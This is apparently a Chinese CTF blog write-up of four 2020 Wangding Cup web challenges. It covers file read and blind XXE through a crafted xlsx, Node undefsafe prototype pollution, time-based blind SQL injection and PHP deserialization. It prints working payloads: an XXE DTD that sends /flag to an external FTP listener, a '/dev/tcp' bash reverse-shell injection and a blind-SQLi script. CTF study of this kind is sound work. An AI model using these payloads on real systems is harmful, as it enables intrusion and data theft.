ch4ser||自闭室

(´・ω・`)你瞅啥呢

0%

网鼎杯2020 web

image-20211114142107501

filejava

提供了文件上传和下载的功能, 在下载功能那里我们可以任意文件读取, 通过把文件名换成文件夹名字可以在报错中爆出绝对路径, 如图:

image-20200511193913736

绝对路径

1
/usr/local/tomcat/webapps/ROOT/WEB-INF/upload/0/10/

读文件/etc/passwd

image-20200511194357766

读日志文件 logs/catalina.out

img

发现有一个war包,下载下来进行源码审计, 发现一处突兀的地方

1
2
3
4
5
6
7
8
9
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}

这里会对exce开头而且后缀名为xlsx的文件进行一个解析, 考虑一下使用xlsx来进行blind xxe, 具体可以参考 https://www.jishuwen.com/d/2inW/zh-hk

新建一个xlsx文档, 解压, 修改Content_Types.xml的内容为

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///flag">
<!ENTITY % sp SYSTEM "http://vps/ext.dtd">
%sp;
%param3;
%exfil;
]>

在vps上的web目录下面放置一个ext.dtd, 内容如下:

1
<!ENTITY % param3 "<!ENTITY &#37; exfil SYSTEM 'ftp://vps/%data3;'>">

vps上开启ftp监听脚本, 脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/env/python
from __future__ import print_function
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0',21))
s.listen(1)
print('XXE-FTP listening ')
conn,addr = s.accept()
print('Connected by %s',addr)
conn.sendall('220 Staal XXE-FTP\r\n')
stop = False
while not stop:
dp = str(conn.recv(1024))
if dp.find("USER") > -1:
conn.sendall("331 password please - version check\r\n")
else:
conn.sendall("230 more data please!\r\n")
if dp.find("RETR")==0 or dp.find("QUIT")==0:
stop = True
if dp.find("CWD") > -1:
print(dp.replace('CWD ','/',1).replace('\r\n',''),end='')
else:
print(dp)

conn.close()
s.close()

将修改内容后的文档文件重新全部压缩成xlsx文档, 发送, vps有回显

image-20200511203059545

注意, 直接nc 21端口不会看到数据, 至于为什么以后再研究一下

notes

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

undefsafe这个库存在原型链污染漏洞, 具体见链接https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

然后看到status那里存在命令执行, 那么思路就是污染commands, 让其中有我们想要执行的命令

image-20200511203721452

payload

1
2
3
POST /edit_note HTTP/1.1

{"id":"__proto__","author":"bash -i >& /dev/tcp/xxx/xxx 0>&1","raw":"aaa"}

记得要把contenttype改成application/json, 然后访问一下status就可以获得反弹shell了.

trace

脚本跑着跑着环境就崩掉了, 环境不太稳定, 不得不改成二分法减少请求数量之后才把flag一次性跑出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time

url = "http://3039266414b24d4a9f755321e1184a5548ffce8270ee4588.changame.ichunqiu.com/register_do.php"
flag = ""
index = 1

while True:
u_bound = 255; l_bound=0;
while u_bound >= l_bound:
m_bound = (u_bound + l_bound) // 2
payload = "2'^if(ascii(substr((select `2` from (select 1,2 union select * from flag)a limit 1,1),{0},1))>{1},sleep(3),1),'1')#".format(index, m_bound)

data = {
'username':payload,
'password':'hello'
}
print(data)

t1 = time.time()
res = requests.post(url, data=data)
t2 = time.time()

if t2 - t1 > 3:
l_bound = m_bound + 1
else:
u_bound = m_bound - 1
tmp = m_bound
flag += chr(tmp)
print(flag)
index += 1

AreUSerialz

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

这个题目要求我们传入的payload中不可以有不可见字符, 但是众所周知, protected属性在序列化之后是会带上不可见字符的, 那该怎么办呢? 其实在php高版本中, 对变量的类型放宽了限制, 也就是说, 就算把protected属性改成public属性后构造payload传入也是可以正常解析的, 至于要让op等于”2”的限制, 只要利用一下php弱类型比较, 让op等于数字2就行.

看Y1ng师傅的wp https://www.gem-love.com/websecurity/2322.html?tdsourcetag=s_pctim_aiomsg 中提到了

image-20200511205753475

看看p神在知识星球中说的就明白了

img